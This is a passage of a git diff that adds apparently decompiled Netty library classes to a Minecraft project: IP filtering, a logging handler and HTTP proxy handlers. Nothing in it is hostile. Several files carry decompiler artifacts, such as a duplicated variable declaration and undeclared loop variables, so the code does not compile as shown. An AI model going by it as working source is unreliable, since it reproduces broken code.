+    
+    public boolean matches(InetSocketAddress remoteAddress)
+    {
+      BigInteger ipAddress = ipToInt((Inet6Address)remoteAddress.getAddress());
+      
+      return ipAddress.and(subnetMask).equals(networkAddress);
+    }
+    
+    public IpFilterRuleType ruleType()
+    {
+      return ruleType;
+    }
+    
+    private static BigInteger ipToInt(Inet6Address ipAddress) {
+      byte[] octets = ipAddress.getAddress();
+      assert (octets.length == 16);
+      
+      return new BigInteger(octets);
+    }
+    
+    private static BigInteger prefixToSubnetMask(int cidrPrefix) {
+      return MINUS_ONE.shiftLeft(128 - cidrPrefix);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ipfilter/RuleBasedIpFilter.java b/src/minecraft/io/netty/handler/ipfilter/RuleBasedIpFilter.java
new file mode 100644
index 0000000..e4cf8fc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ipfilter/RuleBasedIpFilter.java
@@ -0,0 +1,60 @@
+package io.netty.handler.ipfilter;
+
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import java.net.InetSocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class RuleBasedIpFilter
+  extends AbstractRemoteAddressFilter<InetSocketAddress>
+{
+  private final IpFilterRule[] rules;
+  
+  public RuleBasedIpFilter(IpFilterRule... rules)
+  {
+    if (rules == null) {
+      throw new NullPointerException("rules");
+    }
+    
+    this.rules = rules;
+  }
+  
+  protected boolean accept(ChannelHandlerContext ctx, InetSocketAddress remoteAddress) throws Exception
+  {
+    for (IpFilterRule rule : rules) {
+      if (rule == null) {
+        break;
+      }
+      
+      if (rule.matches(remoteAddress)) {
+        return rule.ruleType() == IpFilterRuleType.ACCEPT;
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ipfilter/UniqueIpFilter.java b/src/minecraft/io/netty/handler/ipfilter/UniqueIpFilter.java
new file mode 100644
index 0000000..f96b1e8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ipfilter/UniqueIpFilter.java
@@ -0,0 +1,53 @@
+package io.netty.handler.ipfilter;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.internal.ConcurrentSet;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class UniqueIpFilter
+  extends AbstractRemoteAddressFilter<InetSocketAddress>
+{
+  private final Set<InetAddress> connected = new ConcurrentSet();
+  
+  public UniqueIpFilter() {}
+  
+  protected boolean accept(ChannelHandlerContext ctx, InetSocketAddress remoteAddress) throws Exception { final InetAddress remoteIp = remoteAddress.getAddress();
+    if (connected.contains(remoteIp)) {
+      return false;
+    }
+    connected.add(remoteIp);
+    ctx.channel().closeFuture().addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture future) throws Exception {
+        connected.remove(remoteIp);
+      }
+    });
+    return true;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/logging/LogLevel.java b/src/minecraft/io/netty/handler/logging/LogLevel.java
new file mode 100644
index 0000000..a7d9696
--- /dev/null
+++ b/src/minecraft/io/netty/handler/logging/LogLevel.java
@@ -0,0 +1,36 @@
+package io.netty.handler.logging;
+
+import io.netty.util.internal.logging.InternalLogLevel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum LogLevel
+{
+  TRACE(InternalLogLevel.TRACE), 
+  DEBUG(InternalLogLevel.DEBUG), 
+  INFO(InternalLogLevel.INFO), 
+  WARN(InternalLogLevel.WARN), 
+  ERROR(InternalLogLevel.ERROR);
+  
+  private final InternalLogLevel internalLevel;
+  
+  private LogLevel(InternalLogLevel internalLevel) {
+    this.internalLevel = internalLevel;
+  }
+  
+  InternalLogLevel toInternalLevel() {
+    return internalLevel;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/logging/LoggingHandler.java b/src/minecraft/io/netty/handler/logging/LoggingHandler.java
new file mode 100644
index 0000000..3647701
--- /dev/null
+++ b/src/minecraft/io/netty/handler/logging/LoggingHandler.java
@@ -0,0 +1,386 @@
+package io.netty.handler.logging;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogLevel;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class LoggingHandler
+  extends ChannelDuplexHandler
+{
+  private static final LogLevel DEFAULT_LEVEL = LogLevel.DEBUG;
+  
+  private static final String NEWLINE = StringUtil.NEWLINE;
+  
+  private static final String[] BYTE2HEX = new String['Ā'];
+  private static final String[] HEXPADDING = new String[16];
+  private static final String[] BYTEPADDING = new String[16];
+  private static final char[] BYTE2CHAR = new char['Ā'];
+  protected final InternalLogger logger;
+  protected final InternalLogLevel internalLevel;
+  private final LogLevel level;
+  
+  static {
+    for (int i = 0; i < BYTE2HEX.length; i++) {
+      BYTE2HEX[i] = (' ' + StringUtil.byteToHexStringPadded(i));
+    }
+    
+
+    for (i = 0; i < HEXPADDING.length; i++) {
+      int padding = HEXPADDING.length - i;
+      StringBuilder buf = new StringBuilder(padding * 3);
+      for (int j = 0; j < padding; j++) {
+        buf.append("   ");
+      }
+      HEXPADDING[i] = buf.toString();
+    }
+    
+
+    for (i = 0; i < BYTEPADDING.length; i++) {
+      int padding = BYTEPADDING.length - i;
+      StringBuilder buf = new StringBuilder(padding);
+      for (int j = 0; j < padding; j++) {
+        buf.append(' ');
+      }
+      BYTEPADDING[i] = buf.toString();
+    }
+    
+
+    for (i = 0; i < BYTE2CHAR.length; i++) {
+      if ((i <= 31) || (i >= 127)) {
+        BYTE2CHAR[i] = '.';
+      } else {
+        BYTE2CHAR[i] = ((char)i);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public LoggingHandler()
+  {
+    this(DEFAULT_LEVEL);
+  }
+  
+
+
+
+
+
+  public LoggingHandler(LogLevel level)
+  {
+    if (level == null) {
+      throw new NullPointerException("level");
+    }
+    
+    logger = InternalLoggerFactory.getInstance(getClass());
+    this.level = level;
+    internalLevel = level.toInternalLevel();
+  }
+  
+
+
+
+  public LoggingHandler(Class<?> clazz)
+  {
+    this(clazz, DEFAULT_LEVEL);
+  }
+  
+
+
+
+
+  public LoggingHandler(Class<?> clazz, LogLevel level)
+  {
+    if (clazz == null) {
+      throw new NullPointerException("clazz");
+    }
+    if (level == null) {
+      throw new NullPointerException("level");
+    }
+    logger = InternalLoggerFactory.getInstance(clazz);
+    this.level = level;
+    internalLevel = level.toInternalLevel();
+  }
+  
+
+
+  public LoggingHandler(String name)
+  {
+    this(name, DEFAULT_LEVEL);
+  }
+  
+
+
+
+
+  public LoggingHandler(String name, LogLevel level)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    if (level == null) {
+      throw new NullPointerException("level");
+    }
+    logger = InternalLoggerFactory.getInstance(name);
+    this.level = level;
+    internalLevel = level.toInternalLevel();
+  }
+  
+
+
+  public LogLevel level()
+  {
+    return level;
+  }
+  
+  protected String format(ChannelHandlerContext ctx, String message) {
+    String chStr = ctx.channel().toString();
+    StringBuilder buf = new StringBuilder(chStr.length() + message.length() + 1);
+    buf.append(chStr);
+    buf.append(' ');
+    buf.append(message);
+    return buf.toString();
+  }
+  
+  public void channelRegistered(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, "REGISTERED"));
+    }
+    super.channelRegistered(ctx);
+  }
+  
+  public void channelUnregistered(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, "UNREGISTERED"));
+    }
+    super.channelUnregistered(ctx);
+  }
+  
+  public void channelActive(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, "ACTIVE"));
+    }
+    super.channelActive(ctx);
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, "INACTIVE"));
+    }
+    super.channelInactive(ctx);
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause)
+    throws Exception
+  {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, "EXCEPTION: " + cause), cause);
+    }
+    super.exceptionCaught(ctx, cause);
+  }
+  
+  public void userEventTriggered(ChannelHandlerContext ctx, Object evt)
+    throws Exception
+  {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, "USER_EVENT: " + evt));
+    }
+    super.userEventTriggered(ctx, evt);
+  }
+  
+  public void bind(ChannelHandlerContext ctx, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, "BIND(" + localAddress + ')'));
+    }
+    super.bind(ctx, localAddress, promise);
+  }
+  
+
+  public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, "CONNECT(" + remoteAddress + ", " + localAddress + ')'));
+    }
+    super.connect(ctx, remoteAddress, localAddress, promise);
+  }
+  
+  public void disconnect(ChannelHandlerContext ctx, ChannelPromise promise)
+    throws Exception
+  {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, "DISCONNECT()"));
+    }
+    super.disconnect(ctx, promise);
+  }
+  
+  public void close(ChannelHandlerContext ctx, ChannelPromise promise)
+    throws Exception
+  {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, "CLOSE()"));
+    }
+    super.close(ctx, promise);
+  }
+  
+  public void deregister(ChannelHandlerContext ctx, ChannelPromise promise)
+    throws Exception
+  {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, "DEREGISTER()"));
+    }
+    super.deregister(ctx, promise);
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    logMessage(ctx, "RECEIVED", msg);
+    ctx.fireChannelRead(msg);
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    logMessage(ctx, "WRITE", msg);
+    ctx.write(msg, promise);
+  }
+  
+  public void flush(ChannelHandlerContext ctx) throws Exception
+  {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, "FLUSH"));
+    }
+    ctx.flush();
+  }
+  
+  private void logMessage(ChannelHandlerContext ctx, String eventName, Object msg) {
+    if (logger.isEnabled(internalLevel)) {
+      logger.log(internalLevel, format(ctx, formatMessage(eventName, msg)));
+    }
+  }
+  
+  protected String formatMessage(String eventName, Object msg) {
+    if ((msg instanceof ByteBuf))
+      return formatByteBuf(eventName, (ByteBuf)msg);
+    if ((msg instanceof ByteBufHolder)) {
+      return formatByteBufHolder(eventName, (ByteBufHolder)msg);
+    }
+    return formatNonByteBuf(eventName, msg);
+  }
+  
+
+
+
+  protected String formatByteBuf(String eventName, ByteBuf buf)
+  {
+    int length = buf.readableBytes();
+    int rows = length / 16 + (length % 15 == 0 ? 0 : 1) + 4;
+    StringBuilder dump = new StringBuilder(rows * 80 + eventName.length() + 16);
+    
+    dump.append(eventName).append('(').append(length).append('B').append(')');
+    dump.append(NEWLINE + "         +-------------------------------------------------+" + NEWLINE + "         |  0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f |" + NEWLINE + "+--------+-------------------------------------------------+----------------+");
+    
+
+
+
+    int startIndex = buf.readerIndex();
+    int endIndex = buf.writerIndex();
+    
+
+    for (int i = startIndex; i < endIndex; i++) {
+      int relIdx = i - startIndex;
+      int relIdxMod16 = relIdx & 0xF;
+      if (relIdxMod16 == 0) {
+        dump.append(NEWLINE);
+        dump.append(Long.toHexString(relIdx & 0xFFFFFFFF | 0x100000000));
+        dump.setCharAt(dump.length() - 9, '|');
+        dump.append('|');
+      }
+      dump.append(BYTE2HEX[buf.getUnsignedByte(i)]);
+      if (relIdxMod16 == 15) {
+        dump.append(" |");
+        for (int j = i - 15; j <= i; j++) {
+          dump.append(BYTE2CHAR[buf.getUnsignedByte(j)]);
+        }
+        dump.append('|');
+      }
+    }
+    
+    if ((i - startIndex & 0xF) != 0) {
+      int remainder = length & 0xF;
+      dump.append(HEXPADDING[remainder]);
+      dump.append(" |");
+      for (int j = i - remainder; j < i; j++) {
+        dump.append(BYTE2CHAR[buf.getUnsignedByte(j)]);
+      }
+      dump.append(BYTEPADDING[remainder]);
+      dump.append('|');
+    }
+    
+    dump.append(NEWLINE + "+--------+-------------------------------------------------+----------------+");
+    
+
+    return dump.toString();
+  }
+  
+
+
+  protected String formatNonByteBuf(String eventName, Object msg)
+  {
+    return eventName + ": " + msg;
+  }
+  
+
+
+
+
+
+  protected String formatByteBufHolder(String eventName, ByteBufHolder msg)
+  {
+    return formatByteBuf(eventName, msg.content());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/proxy/HttpProxyHandler.java b/src/minecraft/io/netty/handler/proxy/HttpProxyHandler.java
new file mode 100644
index 0000000..9d63786
--- /dev/null
+++ b/src/minecraft/io/netty/handler/proxy/HttpProxyHandler.java
@@ -0,0 +1,158 @@
+package io.netty.handler.proxy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.base64.Base64;
+import io.netty.handler.codec.http.DefaultFullHttpRequest;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.HttpClientCodec;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpResponse;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.handler.codec.http.LastHttpContent;
+import io.netty.util.AsciiString;
+import io.netty.util.CharsetUtil;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HttpProxyHandler
+  extends ProxyHandler
+{
+  private static final String PROTOCOL = "http";
+  private static final String AUTH_BASIC = "basic";
+  private final HttpClientCodec codec = new HttpClientCodec();
+  private final String username;
+  private final String password;
+  private final CharSequence authorization;
+  private HttpResponseStatus status;
+  
+  public HttpProxyHandler(SocketAddress proxyAddress) {
+    super(proxyAddress);
+    username = null;
+    password = null;
+    authorization = null;
+  }
+  
+  public HttpProxyHandler(SocketAddress proxyAddress, String username, String password) {
+    super(proxyAddress);
+    if (username == null) {
+      throw new NullPointerException("username");
+    }
+    if (password == null) {
+      throw new NullPointerException("password");
+    }
+    this.username = username;
+    this.password = password;
+    
+    ByteBuf authz = Unpooled.copiedBuffer(username + ':' + password, CharsetUtil.UTF_8);
+    ByteBuf authzBase64 = Base64.encode(authz, false);
+    
+    authorization = new AsciiString("Basic " + authzBase64.toString(CharsetUtil.US_ASCII));
+    
+    authz.release();
+    authzBase64.release();
+  }
+  
+  public String protocol()
+  {
+    return "http";
+  }
+  
+  public String authScheme()
+  {
+    return authorization != null ? "basic" : "none";
+  }
+  
+  public String username() {
+    return username;
+  }
+  
+  public String password() {
+    return password;
+  }
+  
+  protected void addCodec(ChannelHandlerContext ctx) throws Exception
+  {
+    ChannelPipeline p = ctx.pipeline();
+    String name = ctx.name();
+    p.addBefore(name, null, codec);
+  }
+  
+  protected void removeEncoder(ChannelHandlerContext ctx) throws Exception
+  {
+    codec.removeOutboundHandler();
+  }
+  
+  protected void removeDecoder(ChannelHandlerContext ctx) throws Exception
+  {
+    codec.removeInboundHandler();
+  }
+  
+  protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception
+  {
+    InetSocketAddress raddr = (InetSocketAddress)destinationAddress();
+    String rhost;
+    String rhost; if (raddr.isUnresolved()) {
+      rhost = raddr.getHostString();
+    } else {
+      rhost = raddr.getAddress().getHostAddress();
+    }
+    
+    String host = rhost + ':' + raddr.getPort();
+    FullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.CONNECT, host, Unpooled.EMPTY_BUFFER, false);
+    
+
+
+
+    req.headers().set(HttpHeaderNames.HOST, host);
+    
+    if (authorization != null) {
+      req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
+    }
+    
+    return req;
+  }
+  
+  protected boolean handleResponse(ChannelHandlerContext ctx, Object response) throws Exception
+  {
+    if ((response instanceof HttpResponse)) {
+      if (status != null) {
+        throw new ProxyConnectException(exceptionMessage("too many responses"));
+      }
+      status = ((HttpResponse)response).status();
+    }
+    
+    boolean finished = response instanceof LastHttpContent;
+    if (finished) {
+      if (status == null) {
+        throw new ProxyConnectException(exceptionMessage("missing response"));
+      }
+      if (status.code() != 200) {
+        throw new ProxyConnectException(exceptionMessage("status: " + status));
+      }
+    }
+    
+    return finished;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/proxy/ProxyConnectException.java b/src/minecraft/io/netty/handler/proxy/ProxyConnectException.java
new file mode 100644
index 0000000..1fca9fe
--- /dev/null
+++ b/src/minecraft/io/netty/handler/proxy/ProxyConnectException.java
@@ -0,0 +1,38 @@
+package io.netty.handler.proxy;
+
+import java.net.ConnectException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ProxyConnectException
+  extends ConnectException
+{
+  private static final long serialVersionUID = 5211364632246265538L;
+  
+  public ProxyConnectException() {}
+  
+  public ProxyConnectException(String msg)
+  {
+    super(msg);
+  }
+  
+  public ProxyConnectException(Throwable cause) {
+    initCause(cause);
+  }
+  
+  public ProxyConnectException(String msg, Throwable cause) {
+    super(msg);
+    initCause(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/proxy/ProxyConnectionEvent.java b/src/minecraft/io/netty/handler/proxy/ProxyConnectionEvent.java
new file mode 100644
index 0000000..2a9ee57
--- /dev/null
+++ b/src/minecraft/io/netty/handler/proxy/ProxyConnectionEvent.java
@@ -0,0 +1,105 @@
+package io.netty.handler.proxy;
+
+import io.netty.util.internal.StringUtil;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ProxyConnectionEvent
+{
+  private final String protocol;
+  private final String authScheme;
+  private final SocketAddress proxyAddress;
+  private final SocketAddress destinationAddress;
+  private String strVal;
+  
+  public ProxyConnectionEvent(String protocol, String authScheme, SocketAddress proxyAddress, SocketAddress destinationAddress)
+  {
+    if (protocol == null) {
+      throw new NullPointerException("protocol");
+    }
+    if (authScheme == null) {
+      throw new NullPointerException("authScheme");
+    }
+    if (proxyAddress == null) {
+      throw new NullPointerException("proxyAddress");
+    }
+    if (destinationAddress == null) {
+      throw new NullPointerException("destinationAddress");
+    }
+    
+    this.protocol = protocol;
+    this.authScheme = authScheme;
+    this.proxyAddress = proxyAddress;
+    this.destinationAddress = destinationAddress;
+  }
+  
+
+
+  public String protocol()
+  {
+    return protocol;
+  }
+  
+
+
+  public String authScheme()
+  {
+    return authScheme;
+  }
+  
+
+
+
+  public <T extends SocketAddress> T proxyAddress()
+  {
+    return proxyAddress;
+  }
+  
+
+
+
+  public <T extends SocketAddress> T destinationAddress()
+  {
+    return destinationAddress;
+  }
+  
+  public String toString()
+  {
+    if (strVal != null) {
+      return strVal;
+    }
+    
+    StringBuilder buf = new StringBuilder(128).append(StringUtil.simpleClassName(this)).append('(').append(protocol).append(", ").append(authScheme).append(", ").append(proxyAddress).append(" => ").append(destinationAddress).append(')');
+    
+
+
+
+
+
+
+
+
+
+
+    return this.strVal = buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/proxy/ProxyHandler.java b/src/minecraft/io/netty/handler/proxy/ProxyHandler.java
new file mode 100644
index 0000000..98afb99
--- /dev/null
+++ b/src/minecraft/io/netty/handler/proxy/ProxyHandler.java
@@ -0,0 +1,446 @@
+package io.netty.handler.proxy;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.PendingWriteQueue;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.DefaultPromise;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.ScheduledFuture;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.SocketAddress;
+import java.nio.channels.ConnectionPendingException;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ProxyHandler
+  extends ChannelDuplexHandler
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ProxyHandler.class);
+  
+
+  private static final long DEFAULT_CONNECT_TIMEOUT_MILLIS = 10000L;
+  
+
+  static final String AUTH_NONE = "none";
+  
+
+  private final SocketAddress proxyAddress;
+  
+
+  private volatile SocketAddress destinationAddress;
+  
+  private volatile long connectTimeoutMillis = 10000L;
+  
+  private volatile ChannelHandlerContext ctx;
+  private PendingWriteQueue pendingWrites;
+  private boolean finished;
+  private boolean suppressChannelReadComplete;
+  private boolean flushedPrematurely;
+  private final LazyChannelPromise connectPromise = new LazyChannelPromise(null);
+  private ScheduledFuture<?> connectTimeoutFuture;
+  private final ChannelFutureListener writeListener = new ChannelFutureListener()
+  {
+    public void operationComplete(ChannelFuture future) throws Exception {
+      if (!future.isSuccess()) {
+        ProxyHandler.this.setConnectFailure(future.cause());
+      }
+    }
+  };
+  
+  protected ProxyHandler(SocketAddress proxyAddress) {
+    if (proxyAddress == null) {
+      throw new NullPointerException("proxyAddress");
+    }
+    this.proxyAddress = proxyAddress;
+  }
+  
+
+
+
+  public abstract String protocol();
+  
+
+
+
+  public abstract String authScheme();
+  
+
+
+
+  public final <T extends SocketAddress> T proxyAddress()
+  {
+    return proxyAddress;
+  }
+  
+
+
+
+  public final <T extends SocketAddress> T destinationAddress()
+  {
+    return destinationAddress;
+  }
+  
+
+
+  public final boolean isConnected()
+  {
+    return connectPromise.isSuccess();
+  }
+  
+
+
+
+  public final Future<Channel> connectFuture()
+  {
+    return connectPromise;
+  }
+  
+
+
+
+  public final long connectTimeoutMillis()
+  {
+    return connectTimeoutMillis;
+  }
+  
+
+
+
+  public final void setConnectTimeoutMillis(long connectTimeoutMillis)
+  {
+    if (connectTimeoutMillis <= 0L) {
+      connectTimeoutMillis = 0L;
+    }
+    
+    this.connectTimeoutMillis = connectTimeoutMillis;
+  }
+  
+  public final void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    this.ctx = ctx;
+    addCodec(ctx);
+    
+    if (ctx.channel().isActive())
+    {
+
+      sendInitialMessage(ctx);
+    }
+  }
+  
+
+
+
+  protected abstract void addCodec(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+
+
+
+  protected abstract void removeEncoder(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+
+
+
+  protected abstract void removeDecoder(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+
+
+  public final void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    if (destinationAddress != null) {
+      promise.setFailure(new ConnectionPendingException());
+      return;
+    }
+    
+    destinationAddress = remoteAddress;
+    ctx.connect(proxyAddress, localAddress, promise);
+  }
+  
+  public final void channelActive(ChannelHandlerContext ctx) throws Exception
+  {
+    sendInitialMessage(ctx);
+    ctx.fireChannelActive();
+  }
+  
+
+
+  private void sendInitialMessage(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    long connectTimeoutMillis = this.connectTimeoutMillis;
+    if (connectTimeoutMillis > 0L) {
+      connectTimeoutFuture = ctx.executor().schedule(new Runnable()
+      {
+        public void run() {
+          if (!connectPromise.isDone())
+            ProxyHandler.this.setConnectFailure(new ProxyConnectException(exceptionMessage("timeout"))); } }, connectTimeoutMillis, TimeUnit.MILLISECONDS);
+    }
+    
+
+
+
+    Object initialMessage = newInitialMessage(ctx);
+    if (initialMessage != null) {
+      sendToProxyServer(initialMessage);
+    }
+  }
+  
+
+
+
+
+  protected abstract Object newInitialMessage(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+
+
+
+  protected final void sendToProxyServer(Object msg)
+  {
+    ctx.writeAndFlush(msg).addListener(writeListener);
+  }
+  
+  public final void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    if (finished) {
+      ctx.fireChannelInactive();
+    }
+    else {
+      setConnectFailure(new ProxyConnectException(exceptionMessage("disconnected")));
+    }
+  }
+  
+  public final void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+  {
+    if (finished) {
+      ctx.fireExceptionCaught(cause);
+    }
+    else {
+      setConnectFailure(cause);
+    }
+  }
+  
+  public final void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    if (finished)
+    {
+      suppressChannelReadComplete = false;
+      ctx.fireChannelRead(msg);
+    } else {
+      suppressChannelReadComplete = true;
+      Throwable cause = null;
+      try {
+        boolean done = handleResponse(ctx, msg);
+        if (done) {
+          setConnectSuccess();
+        }
+      } catch (Throwable t) {
+        cause = t;
+      } finally {
+        ReferenceCountUtil.release(msg);
+        if (cause != null) {
+          setConnectFailure(cause);
+        }
+      }
+    }
+  }
+  
+
+
+
+  protected abstract boolean handleResponse(ChannelHandlerContext paramChannelHandlerContext, Object paramObject)
+    throws Exception;
+  
+
+
+  private void setConnectSuccess()
+  {
+    finished = true;
+    if (connectTimeoutFuture != null) {
+      connectTimeoutFuture.cancel(false);
+    }
+    
+    if (connectPromise.trySuccess(ctx.channel())) {
+      boolean removedCodec = true;
+      
+      removedCodec &= safeRemoveEncoder();
+      
+      ctx.fireUserEventTriggered(new ProxyConnectionEvent(protocol(), authScheme(), proxyAddress, destinationAddress));
+      
+
+      removedCodec &= safeRemoveDecoder();
+      
+      if (removedCodec) {
+        writePendingWrites();
+        
+        if (flushedPrematurely) {
+          ctx.flush();
+        }
+      }
+      else {
+        Exception cause = new ProxyConnectException("failed to remove all codec handlers added by the proxy handler; bug?");
+        
+        failPendingWrites(cause);
+        ctx.fireExceptionCaught(cause);
+        ctx.close();
+      }
+    }
+  }
+  
+  private boolean safeRemoveDecoder() {
+    try {
+      removeDecoder(ctx);
+      return true;
+    } catch (Exception e) {
+      logger.warn("Failed to remove proxy decoders:", e);
+    }
+    
+    return false;
+  }
+  
+  private boolean safeRemoveEncoder() {
+    try {
+      removeEncoder(ctx);
+      return true;
+    } catch (Exception e) {
+      logger.warn("Failed to remove proxy encoders:", e);
+    }
+    
+    return false;
+  }
+  
+  private void setConnectFailure(Throwable cause) {
+    finished = true;
+    if (connectTimeoutFuture != null) {
+      connectTimeoutFuture.cancel(false);
+    }
+    
+    if (!(cause instanceof ProxyConnectException)) {
+      cause = new ProxyConnectException(exceptionMessage(cause.toString()), cause);
+    }
+    
+
+    if (connectPromise.tryFailure(cause)) {
+      safeRemoveDecoder();
+      safeRemoveEncoder();
+      
+      failPendingWrites(cause);
+      ctx.fireExceptionCaught(cause);
+      ctx.close();
+    }
+  }
+  
+
+
+
+  protected final String exceptionMessage(String msg)
+  {
+    if (msg == null) {
+      msg = "";
+    }
+    
+    StringBuilder buf = new StringBuilder(128 + msg.length()).append(protocol()).append(", ").append(authScheme()).append(", ").append(proxyAddress).append(" => ").append(destinationAddress);
+    
+
+
+
+
+
+
+    if (!msg.isEmpty()) {
+      buf.append(", ").append(msg);
+    }
+    
+    return buf.toString();
+  }
+  
+  public final void channelReadComplete(ChannelHandlerContext ctx) throws Exception
+  {
+    if (suppressChannelReadComplete) {
+      suppressChannelReadComplete = false;
+      
+      if (!ctx.channel().config().isAutoRead()) {
+        ctx.read();
+      }
+    } else {
+      ctx.fireChannelReadComplete();
+    }
+  }
+  
+  public final void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    if (finished) {
+      writePendingWrites();
+      ctx.write(msg, promise);
+    } else {
+      addPendingWrite(ctx, msg, promise);
+    }
+  }
+  
+  public final void flush(ChannelHandlerContext ctx) throws Exception
+  {
+    if (finished) {
+      writePendingWrites();
+      ctx.flush();
+    } else {
+      flushedPrematurely = true;
+    }
+  }
+  
+  private void writePendingWrites() {
+    if (pendingWrites != null) {
+      pendingWrites.removeAndWriteAll();
+      pendingWrites = null;
+    }
+  }
+  
+  private void failPendingWrites(Throwable cause) {
+    if (pendingWrites != null) {
+      pendingWrites.removeAndFailAll(cause);
+      pendingWrites = null;
+    }
+  }
+  
